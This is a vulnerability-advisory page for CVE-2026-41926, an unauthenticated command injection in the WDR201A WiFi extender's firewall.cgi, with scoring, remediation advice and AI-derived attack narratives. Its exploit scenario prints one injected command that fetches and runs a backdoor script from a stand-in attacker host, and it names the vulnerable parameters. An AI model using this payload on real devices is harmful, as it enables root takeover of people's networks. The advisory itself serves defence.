Skip to main content

WDR201A WiFi Extender CVE-2026-41926

| EUVDEUVD-2026-27125 CRITICAL
OS Command Injection (CWE-78)
2026-05-04 VulnCheck
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access management interface remotely
  2. Delivery
    Craft HTTP POST with shell metacharacters in firewall parameters
  3. Exploit
    Inject command via websURLFilter/portForward handler
  4. Execution
    Execute payload as root
  5. Persist
    Write backdoor to NVRAM
  6. Impact
    Persist across device reboots

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of WDR201A WiFi Extender. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms network accessibility with low complexity, no authentication requirements, and no user interaction. However, practical exploitation is limited by network topology: the attacker must have HTTP/HTTPS access to the device's management interface on TCP ports 80 or 443. Consumer WiFi extenders typically have management interfaces accessible only from the local network (LAN-side), NOT internet-exposed by default, which naturally limits the attack surface to adversaries already on the internal network, connected guest networks, or scenarios where users have explicitly configured port forwarding to the extender's management IP. Devices deployed in DMZ segments, on networks with compromised systems, or in environments where the management interface was intentionally exposed for remote administration face immediate exploitation risk.

Impact

This vulnerability presents EXTREME risk for internet-exposed devices. The CVSS vector AV:N/AC:L/PR:N/UI:N indicates remote exploitation requiring no authentication, low complexity, and no user interaction - the most dangerous attack profile. The persistence mechanism via NVRAM elevates this beyond typical command injection by creating an automatic re-infection vector that survives reboots and executes on every firewall.cgi access. Public exploit availability dramatically lowers the skill barrier for mass exploitation. However, real-world risk depends critically on network exposure: most consumer WiFi extenders operate on private LANs behind NAT, limiting attack surface to local network adversaries or those who've already breached the perimeter. The high CVSS score (9.3) is justified IF management interfaces are internet-reachable, but many deployments may have natural network segmentation reducing practical exploitability. No EPSS score or KEV status provided, but public POC suggests active scanning and exploitation attempts are likely. Organizations should immediately inventory these devices on network perimeters, guest networks, or DMZ segments where they may be accessible to untrusted parties.

Exploit ScenarioDerived

An attacker on the same network segment as the WDR201A extender (or with internet access if management interface exposed via port forwarding) sends a crafted HTTP POST request to the device's firewall.cgi endpoint with malicious shell commands embedded in the websURLFilter parameter using backtick subshell syntax, such as wget attacker.com/backdoor.sh | sh. The vulnerable CGI binary executes the injected command with root privileges, downloading and running the attacker's payload while simultaneously persisting the command string to NVRAM. On every subsequent legitimate firewall configuration request from administrators, the stored payload automatically re-executes, maintaining persistent access even if the initial backdoor is discovered and removed from the running system. Public proof-of-concept code exists demonstrating this attack chain against firmware version 1.02.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Remote unauthenticated command injection in WDR201A WiFi Extender (HW V2.1, FW ≤1.02) allows attackers to execute arbitrary OS commands with device privileges via five vulnerable firewall.cgi handlers without authentication. Injected commands persist in NVRAM and automatically re-execute on every subsequent firewall request, creating a self-sustaining backdoor. Public exploit code exists per VulnCheck, making this an immediate weaponization risk for exposed devices. CVSS 9.3 reflects network attack vector with no complexity or authentication barriers (AV:N/AC:L/PR:N), though real-world impact depends on whether management interfaces are internet-exposed.

RemediationAI

No vendor-released patch identified at time of analysis - manufacturer Shenzhen Yipu has not published firmware updates addressing this vulnerability per available advisories. Immediate compensating controls required: (1) Isolate all WDR201A devices to dedicated VLAN with no internet access to management interface, blocking inbound TCP/80 and TCP/443 to device IP from untrusted networks - note this prevents remote management; (2) Disable web-based administration if CLI/physical access alternatives exist, eliminating the vulnerable firewall.cgi attack surface entirely but requiring on-site configuration changes; (3) Deploy network firewall rules restricting access to device management IPs to specific administrator source addresses only - reduces risk but requires maintaining IP whitelist; (4) Replace affected hardware with alternative WiFi extenders from vendors with active security update programs if business-critical deployment cannot tolerate residual risk. Monitor vendor communications at https://www.vulncheck.com/advisories/wdr201a-wifi-extender-os-command-injection-via-firewall-cgi for future patch releases. Organizations should establish procurement policy excluding IoT vendors without public security contact and update channels.

Affected VersionsENISA

WDR201A WiFi Extender 0 ≤1.02

Affected Packages

euvd wdr201a_wifi_extender no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the firewall.cgi CGI binary within the device's embedded Linux web server. Five request handlers (websURLFilter, websHostFilter, portForward, singlePortForward, ipportFilter) perform shell command execution without proper input sanitization, allowing injection via subshell syntax (backticks, $(), or pipe operators). The affected product uses NVRAM (non-volatile RAM) to store configuration data, and the flaw allows attackers to write malicious payloads into this persistent storage. CWE-78 (OS Command Injection) is a critical vulnerability class where untrusted input is passed to system shell interpreters. The WDR201A is a consumer-grade WiFi range extender manufactured by Shenzhen Yipu Commercial and Trading Co., running proprietary firmware on embedded Linux. CPE cpe:2.3:a:shenzhen_yipu_commercial_and_trading_co.,_ltd:wdr201a_wifi_extender identifies the affected product line.

Know when Wdr201A Wifi Extender gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 04, 2026 - 20:22 NVD
9.3 (CRITICAL)

DescriptionCVE.org

WDR201A WiFi Extender (HW V2.1, FW LFMZX28040922V1.02) contains an OS command injection vulnerability in the firewall.cgi binary across five request handlers that apply insufficient input validation. Attackers can inject arbitrary shell commands through vulnerable parameters like websURLFilter, websHostFilter, portForward, singlePortForward, and ipportFilter using subshell syntax or unfiltered parameters, with payloads persisting in NVRAM and re-executing on every subsequent firewall.cgi request.

Executive ViewAI

Why It Matters

CVE-2026-41926 is a critical remote command injection vulnerability affecting WDR201A WiFi Extenders (firmware ≤1.02) that enables unauthenticated attackers to execute arbitrary commands and establish persistent backdoors on affected devices. Organizations with internet-exposed management interfaces face immediate risk of device compromise, lateral network movement, and credential theft. With public exploit code available and no vendor patch released, this poses an urgent threat to network perimeter security.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable remote management access to affected devices and restrict firewall.cgi handlers to internal networks only via firewall rules; (2) Monitor for anomalous command execution on WDR201A devices via syslog collection; (3) Implement network segmentation isolating WiFi extenders from critical assets; (4) Deploy IPS/WAF rules blocking POST requests to firewall.cgi endpoints from external sources; (5) Prioritize replacement with supported hardware pending manufacturer patch release.

Threat Intelligence Overview

EPSS Score
0.4%
Top 37% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy